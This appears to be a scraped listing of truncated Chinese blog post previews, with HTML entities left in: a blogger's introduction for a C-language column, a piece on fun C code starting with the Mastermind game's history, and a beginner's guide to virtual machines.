Hi~&#xff01;这里是奋斗的小羊&#xff0c;很荣幸各位能阅读我的文章&#xff0c;诚请评论指点&#xff0c;关注收藏&#xff0c;欢迎欢迎~~ &#x1f4a5;个人主页&#xff1a;小羊在奋斗 &#x1f4a5;所属专栏&#xff1a;C语言 本系列文章为个人学习笔记&#x…

C语言趣味代码(二)

1.珠玑妙算 1.1 介绍 《珠玑妙算》(Mastermind)是英国Invicta公司于1973年开始销售的一款益智游戏&#xff0c;据说迄今为止已经在全世界销售了5000万套。《珠玑妙算》于1974年获奖后&#xff0c;在1975年传入美国&#xff0c;1976年leslieH.Autl博士甚至还出版了一本名为The…

狗都不学系列——虚拟机的基本使用

前言 虚拟机&#xff08;Virtual Machine&#xff09;指通过软件模拟的具有完整硬件系统功能的、运行在一个完全隔离环境中的完整计算机系统。在实体计算机中能够完成的工作在虚拟机中都能够实现。 简单来讲就是我们可以通过虚拟机来安装各种不同的操作系统进行体验。 这次主…